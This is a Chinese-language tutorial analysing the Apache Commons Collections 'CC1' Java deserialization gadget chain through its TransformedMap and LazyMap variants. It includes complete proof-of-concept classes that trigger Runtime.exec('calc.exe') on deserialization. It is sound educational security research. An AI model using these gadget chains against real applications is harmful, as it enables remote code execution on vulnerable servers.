CommonCollections1简称CC1链,Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。Commons Collections组件里面定义了一个Transformer接口,InvokerTransformer实现了Transformer接口,且可以执行任意方法,这也是CC1链中的主角。
复现环境
java < 8u71(再往后它的AnnotationInvocationHandler中readObject函数有改动)
CommonsCollections <= 3.2.1
TransformedMap
网上CC1链的构造有两种,一个是使用TransformedMap类,另一个是利用到LazyMap类,先来看看较为简单的TransformedMap。
先看看如下一段代码
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.*; public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
这段代码运行结果如下
很明显执行了我们代码中定义的calc命令,那我们来逐行分析一下看看代码中是怎么执行命令的。
TransformedMap
Map innerMap = new HashMap(); //20行
创建了一个HashMap对象赋值给innerMap
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //21行
调用了TransformedMap里的decorate方法 ,且把innerMap 传了进来,后面两个参数我们稍后在分析,看看TransformedMap.decorate这个方法
new了一个TransformedMap,再跟进
把传进的参数进行赋值了,根据参数传递关系,这里的keyTransformer和valueTransformer分别为null和transformerChain。
outerMap.put("test", "xxxx");
根据outerMap.put方法看看里面做了什么
调用了transformKey和transformValue方法
判断是否等于null,是null的话就等于传进来的object,不是null,则执行keyTransformer和valueTransformer的transform方法。
那现在我们把第20行、21行、22行代码联系起来
Map innerMap = new HashMap(); //20行 Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //21行 outerMap.put("test", "xxxx"); //22行
TransformedMap.decorate用来修饰innerMap,也就是我们创建的HashMap,当里面的值不为null且发生改变时触发TransformedMap里的回调函数keyTransformer和valueTransformer。
ChainedTransformer
这里触发了transformerChain回调函数,执行了transformerChain里面的transform方法,transformerChain是在第19行中创建出来的
Transformer transformerChain = new ChainedTransformer(transformers); //19行
实例化了ChainedTransformer把transformers传入,transformers我们后看,先跟进ChainedTransformer看看里面的transform方法
通过for循环把iTransformers数组遍历出来,依次调用transform方法,且是前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。那我们去看看iTransformers也是我们第19 行代码传入的transformers里面定义。
其定义在14-18行
ConstantTransformer
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), };
创建一个ConstantTransformer实例,并把Runtime.getRuntime()获取到的对象传入,跟进
直接赋值,然后通过回调transform把赋值后的iConstant返回
InvokerTransformer
InvokerTransformer类是代码执行的关键,看看这里是怎么做的,创建一个InvokerTransformer,传入三个参数分别为("exec", new Class[]{String.class},new Object[]{"calc"})跟进
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; } public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }
依次赋值然后回调transform,然后通过反射执行iMethodName方法,这样就达到了执行exec该方法的目的
Transformer
一个接口,里面定义了一个未实现的transform方法,其中ChainedTransformer、ConstantTransformer、InvokerTransformer都实现了Transformer接口
反序列化
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.*; public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
通过上面的代码分析,我们已经搞明白了命令执行的原理,把一个集合放入TransformedMap.decorate,且参数里面传入我们精心构造的transformerChain,最终通过outerMap.put的方法去触发回调,达到执行transformerChain里的一系列回调,最终执行我们定义的代码。
以上构造都是在本地运行,那么在反序列化中,我们该以什么样的思路去构造POC呢?
回想本地的POC,我们是outerMap.put触发transform回调,那么反序列化,我们就要寻找一个类其里面的readObject方法里面存在某个方法可以触发到transform回调。
这个类就是
sun.reflect.annotation.AnnotationInvocationHandler
AnnotationInvocationHandler.readObject里触发回调的方法就是
var5.setValue
所以可以构造如下POC去进行调试
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; public class CommonCollections2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{ "calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
我们先不用去管为什么这样去构造POC,先去看看反序列化里面的逻辑,然后再回头来看为什么要这样去构造POC。在如下位置打上断点,进行调试程序。
程序已经成功走到断点处
一步一步走一下看看,首先拿到我们的反序列化流
这里获取传过来的注解
遍历var4里面的元素赋值给var5,而var4是this.memberValues.entrySet().iterator()获取的迭代器,this.memberValues其实就是我们反射构造器里传进来的outerMap
那最后直接条跳到最后一个断点
跟进这个对象的setValue方法
调用了this.parent.checkSetValue,而这里this.parent就是我们熟悉的TransformedMap,再往里面跟一步
transform回调就在这里被执行了,直接让程序走到最后,发现执行命令成功弹出了计算机
链子是通了,但是为什么要用如下的方式去构造POC呢
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.util.HashMap; import java.util.Map; public class CommonCollections2 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{ "calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "xxxx"); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
对比最终的反序列化POC和最初的如下一段代码
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.*; public class Test { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("test", "xxxx"); } }
发现最大的区别就是获取Runtime这个对象的方式不同了
最初获取方式如下
最终POC获取方式如下
这是因为Runtime这个类是没有实现Serializable接口的,直接通过最初的Runtime.getRuntime()方式获取对象,在序列化过程中会报错,导致得不到流。
还一个问题为什么用Retention.class注解
这是因为AnnotationInvocationHandler里逻辑里有个如下判断
而让程序这个if条件为真的条件就是
- 1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第一个参数必须是
Annotation的子类,且其中必须含有至少一个方法,假设方法名是X- 2. 被 TransformedMap.decorate 修饰的Map中必须有一个键名为X的元素
这也是为什么使用Retention的原因
当然这种注解不止是Retention,也可以用其他满足条件的注解替换。
LazyMap
LazyMap这个类也是ysoserial这款工具里CC1使用的类,LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
先上POC
package ysoserial; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class CC1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class }, new String[]{"calc.exe"}), }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); construct.setAccessible(true); InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(handler); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object) ois.readObject(); } }
可以看到第一处与TransformedMap利用链不同的地方就是在42行使用了LazyMap.decorate方法,跟进看看
把我们构造好的transformerChain,传递给了factory,那怎么让它去调用factory里的回调函数transform呢,这要看LazyMap里的get方法了。
里面的逻辑是当get过来的值找不到时,就会调用factory.transform,所以我们还是要去寻找一个类,这个类里存在调用get这个方法。当然LazyMap这条链还是利用了sun.reflect.annotation.AnnotationInvocationHandler,但是AnnotationInvocationHandler这个类的readObject方法里面没有直接去调用get方法
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }
但是AnnotationInvocationHandler这个类是实现了InvocationHandler这个接口的,且AnnotationInvocationHandler类的invoke方法里面是有调用get这个方法的
public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } }
所以ysoserial的作者就想到了通过对象代理的方法去调用到这个get,这也是我们在POC的52-57行中看到的第二处与TransformedMap不同的地方。
运行POC也是可以成功执行命令的
参考文献
https://t.zsxq.com/ZNZrJMZ //p牛java安全漫谈系列